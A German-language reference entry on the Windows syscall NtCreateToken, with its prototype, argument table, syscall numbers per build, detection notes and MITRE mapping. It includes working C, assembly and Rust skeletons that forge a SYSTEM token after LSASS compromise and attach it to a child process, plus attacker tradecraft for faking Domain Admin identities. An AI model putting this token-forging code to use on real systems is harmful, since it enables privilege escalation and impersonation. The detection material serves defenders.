NtCreateToken
Erzeugt ein Access-Token von Grund auf mit frei wählbarem Benutzer, Gruppen, Privilegien, Owner, Standard-DACL und Quelle — durch SeCreateTokenPrivilege geschützt.
Prototyp
NTSTATUS NtCreateToken( PHANDLE TokenHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, TOKEN_TYPE Type, PLUID AuthenticationId, PLARGE_INTEGER ExpirationTime, PTOKEN_USER User, PTOKEN_GROUPS Groups, PTOKEN_PRIVILEGES Privileges, PTOKEN_OWNER Owner, PTOKEN_PRIMARY_GROUP PrimaryGroup, PTOKEN_DEFAULT_DACL DefaultDacl, PTOKEN_SOURCE Source );
Argumente
| Name | Type | Dir | Description |
|---|---|---|---|
| TokenHandle | PHANDLE | out | Empfängt ein Handle auf das neu geschmiedete Token. |
| DesiredAccess | ACCESS_MASK | in | Zugriffsmaske. TOKEN_ALL_ACCESS (0xF01FF) erlaubt beliebige Operationen auf das Ergebnis. |
| ObjectAttributes | POBJECT_ATTRIBUTES | in | Objekt-Attribute. SecurityQualityOfService bestimmt hier den Impersonation-Level des neuen Tokens. |
| Type | TOKEN_TYPE | in | TokenPrimary (1) oder TokenImpersonation (2). Primary-Tokens werden via NtAssignProcessToken / CreateProcessAsUser zugewiesen, Impersonation-Tokens via NtSetInformationThread. |
| AuthenticationId | PLUID | in | LUID, das die Logon-Session identifiziert. SYSTEM = {0x3E7,0}. Echtes Session-LUID nutzen, um Kerberos-Tickets usw. zu erben. |
| ExpirationTime | PLARGE_INTEGER | in | Token-Ablauf. Auf allen veröffentlichten Builds praktisch ignoriert — großen Wert (MAX_LARGE_INTEGER) für nicht ablaufendes Token verwenden. |
| User | PTOKEN_USER | in | TOKEN_USER-Struktur mit Benutzer-SID — meist ein Domain-Benutzer oder SYSTEM für volle Impersonation. |
| Groups | PTOKEN_GROUPS | in | Array von Gruppen-SIDs mit Attributen. Domain Admins, Enterprise Admins usw. ergänzen, um erhöhte Mitgliedschaft zu fälschen. |
| Privileges | PTOKEN_PRIVILEGES | in | Privilegien-Set des Tokens. Beim Schmieden meist die Vereinigung aus SeDebugPrivilege, SeTcbPrivilege, SeAssignPrimaryTokenPrivilege usw. |
| Owner | PTOKEN_OWNER | in | Standard-Owner-SID für Objekte, die vom Prozess des Tokens erzeugt werden. |
| PrimaryGroup | PTOKEN_PRIMARY_GROUP | in | Primary-Group-SID (POSIX-Erbe). Üblicherweise Domain Users. |
| DefaultDacl | PTOKEN_DEFAULT_DACL | in | Standard-DACL für neue Objekte. NULL ist erlaubt — der Kernel verwendet einen permissiven Default. |
| Source | PTOKEN_SOURCE | in | TOKEN_SOURCE.SourceName ist ein 8-Byte-Label, das im Audit erscheint — "*SYSTEM*", "User32", "Advapi" oder vom Angreifer gewählt. |
Syscall-IDs pro Windows-Version
| Windows-Version | Syscall-ID | Build |
|---|---|---|
| Win10 1507 | 0xB6 | win10-1507 |
| Win10 1607 | 0xB9 | win10-1607 |
| Win10 1703 | 0xBC | win10-1703 |
| Win10 1709 | 0xBD | win10-1709 |
| Win10 1803 | 0xBE | win10-1803 |
| Win10 1809 | 0xBF | win10-1809 |
| Win10 1903 | 0xC0 | win10-1903 |
| Win10 1909 | 0xC0 | win10-1909 |
| Win10 2004 | 0xC4 | win10-2004 |
| Win10 20H2 | 0xC4 | win10-20h2 |
| Win10 21H1 | 0xC4 | win10-21h1 |
| Win10 21H2 | 0xC5 | win10-21h2 |
| Win10 22H2 | 0xC5 | win10-22h2 |
| Win11 21H2 | 0xCA | win11-21h2 |
| Win11 22H2 | 0xCB | win11-22h2 |
| Win11 23H2 | 0xCB | win11-23h2 |
| Win11 24H2 | 0xCD | win11-24h2 |
| Server 2016 | 0xB9 | winserver-2016 |
| Server 2019 | 0xBF | winserver-2019 |
| Server 2022 | 0xC9 | winserver-2022 |
| Server 2025 | 0xCD | winserver-2025 |
Kernel-Modul
Verwandte APIs
Syscall-Stub
4C 8B D1 mov r10, rcx B8 CD 00 00 00 mov eax, 0xCD F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undokumentierte Hinweise
Der einzige Syscall, der *ein Token erzeugt, ohne irgendetwas zu authentifizieren*. Die Schranke ist SeCreateTokenPrivilege, das per Default nur LSASS — das Local Security Authority Subsystem — hält. Kein interaktiver Benutzer, nicht einmal ein Administrator, hat es beim Logon, und das lokale SYSTEM-Konto selbst auch nicht (SYSTEM erhält es über den LSA-Package-Kontext, nicht über sein Token). Die offensiv-praktisch relevante Frage lautet daher: *Hast du Codeausführung in lsass.exe (oder ein gestohlenes Token aus lsass.exe, in dem das Privileg bereits aktiv ist)?* Falls ja, kannst du ein TokenPrimary für jede SID, jede Gruppenmitgliedschaft und jedes Privilegien-Set schmieden. Das Ergebnis lässt sich anschließend über `NtAssignProcessToken` einem Child-Prozess à la `CreateProcessAsUser` zuweisen, der wie die geschmiedete Identität aussieht. Der Kernel prüft nicht, ob die User-SID irgendwo existiert.
Häufige Malware-Nutzung
T1134.003 *Make and Impersonate Token* in Reinform. Sobald ein Angreifer SYSTEM und damit Zugriff auf lsass.exe hat (Mimikatz `sekurlsa::pth`, `token::create`, ProcDump-→-LSASS-Parser-Pipelines, Pypykatz, Nanodump-abgeleitete Ketten, die Post-LSASS-Workflows von Brute Ratel und Cobalt Strike), ist dies der Aufruf, der die geschmiedete Identität materialisiert. Varianten: eine 'Service'-Identität (`AuthenticationId={0x3E7,0}`, alle Privilegien) für SYSTEM-äquivalente Persistenz bauen; ein Domain-Admin-Impersonation-Token mit User-SID eines Ziels schmieden, das man gegen einen Remote-Service imitieren will (Silver-Ticket ohne Kerberos); oder NtCreateToken → NtAssignProcessToken → cmd.exe, das in Process Explorer als DOMAIN\Administrator erscheint, ohne dass je ein Logon stattfand. Der PoC ConVME von Clément Labro und mehrere öffentliche 'Token-Magic'-Tools demonstrieren die volle Kette.
Erkennungsmöglichkeiten
Der bestbewachte Token-Syscall in gehärteten Umgebungen. Microsoft-Windows-Threat-Intelligence emittiert bei Erfolg ein Event. Defender for Endpoint zeigt es als 'Token forged' / 'Anomalous token creation' und verknüpft es mit dem Parent-Kontext lsass.exe. Security-Event 4673 (privileged-service-call) plus 4672 (special privileges assigned to new logon) feuern bei jeder Nutzung des resultierenden Tokens. Verlässliche Defense-Haltung: Jeder NtCreateToken-Aufrufer, der *nicht* eine Microsoft-signierte Komponente innerhalb lsass.exe ist, ist per Definition bösartig — es gibt keine legitime Drittanbieter-Nutzung. Credential Guard (VBS) macht die LSA-SECRETS aus dem User-Mode unlesbar und ist die primäre Gegenmaßnahme gegen die Voraussetzung, blockiert NtCreateToken aber nicht direkt, falls der Angreifer SeCreateTokenPrivilege bereits auf anderem Weg erlangt hat.
Direkte Syscall-Beispiele
cSkeleton: forge a SYSTEM primary token (post-LSASS)
// Pre-req: caller is impersonating an LSASS thread token that already
// has SeCreateTokenPrivilege enabled. Otherwise NtCreateToken returns 0xC0000061.
//
// Builds the absolute minimum: User=NT AUTHORITY\SYSTEM, Groups=BUILTIN\Administrators,
// Privileges = {SeDebug, SeTcb, SeAssignPrimaryToken, SeImpersonate}. Many fields here
// are stack-allocated for brevity; production code uses a single contiguous heap blob.
#include <ntsecapi.h>
#include <sddl.h>
typedef NTSTATUS(NTAPI* fnNtCreateToken)(
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, TOKEN_TYPE,
PLUID, PLARGE_INTEGER, PTOKEN_USER, PTOKEN_GROUPS,
PTOKEN_PRIVILEGES, PTOKEN_OWNER, PTOKEN_PRIMARY_GROUP,
PTOKEN_DEFAULT_DACL, PTOKEN_SOURCE);
HANDLE ForgeSystemToken(void) {
PSID sidSystem = NULL, sidAdmins = NULL;
ConvertStringSidToSidA("S-1-5-18", &sidSystem);
ConvertStringSidToSidA("S-1-5-32-544", &sidAdmins);
TOKEN_USER tu = { { sidSystem, 0 } };
SID_AND_ATTRIBUTES grp = { sidAdmins, SE_GROUP_ENABLED | SE_GROUP_MANDATORY };
BYTE grpsBuf[64] = { 0 };
PTOKEN_GROUPS groups = (PTOKEN_GROUPS)grpsBuf;
groups->GroupCount = 1; groups->Groups[0] = grp;
BYTE prvBuf[128] = { 0 };
PTOKEN_PRIVILEGES privs = (PTOKEN_PRIVILEGES)prvBuf;
privs->PrivilegeCount = 4;
LookupPrivilegeValueA(NULL, SE_DEBUG_NAME, &privs->Privileges[0].Luid);
LookupPrivilegeValueA(NULL, SE_TCB_NAME, &privs->Privileges[1].Luid);
LookupPrivilegeValueA(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &privs->Privileges[2].Luid);
LookupPrivilegeValueA(NULL, SE_IMPERSONATE_NAME, &privs->Privileges[3].Luid);
for (DWORD i = 0; i < privs->PrivilegeCount; i++)
privs->Privileges[i].Attributes = SE_PRIVILEGE_ENABLED;
TOKEN_OWNER owner = { sidAdmins };
TOKEN_PRIMARY_GROUP pgrp = { sidAdmins };
TOKEN_SOURCE src = { { '*','S','Y','S','T','E','M','*' } };
AllocateLocallyUniqueId(&src.SourceIdentifier);
LUID authId = { 0x3E7, 0 }; // SYSTEM_LUID
LARGE_INTEGER exp; exp.QuadPart = 0x7FFFFFFFFFFFFFFFLL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
HMODULE n = GetModuleHandleA("ntdll.dll");
fnNtCreateToken pCreate = (fnNtCreateToken)GetProcAddress(n, "NtCreateToken");
HANDLE hTok = NULL;
pCreate(&hTok, TOKEN_ALL_ACCESS, &oa, TokenPrimary,
&authId, &exp, &tu, groups, privs, &owner, &pgrp, NULL, &src);
LocalFree(sidSystem); LocalFree(sidAdmins);
return hTok;
}asmx64 direct stub (Win11 24H2 SSN)
; SSN 0xCD on win11-24h2 / winserver-2025. 13 args — most spill to the stack;
; in syscall ABI the kernel reads them from the user stack directly.
NtCreateToken PROC
mov r10, rcx
mov eax, 0CDh
syscall
ret
NtCreateToken ENDPrustAssign the forged token to a child process
// Skeleton wrapper that takes a forged HANDLE from `forge_system_token()`
// and assigns it as the primary token of a freshly spawned cmd.exe.
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Security::PROCESS_ACCESS_TOKEN;
use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress};
type NtSetInformationProcess = unsafe extern "system" fn(
proc: HANDLE, class: u32, info: *mut u8, len: u32,
) -> i32;
pub unsafe fn assign_token(target_process: HANDLE, forged_token: HANDLE) -> i32 {
#[repr(C)]
struct ProcessAccessToken { token: HANDLE, thread: HANDLE }
let n = GetModuleHandleA(b"ntdll.dll\0".as_ptr());
let addr = GetProcAddress(n, b"NtSetInformationProcess\0".as_ptr()).unwrap();
let f: NtSetInformationProcess = std::mem::transmute(addr);
let mut pat = ProcessAccessToken { token: forged_token, thread: 0 as HANDLE };
f(target_process, PROCESS_ACCESS_TOKEN, &mut pat as *mut _ as *mut u8,
core::mem::size_of::<ProcessAccessToken>() as u32)
}MITRE ATT&CK-Mappings
Last verified: 2026-05-20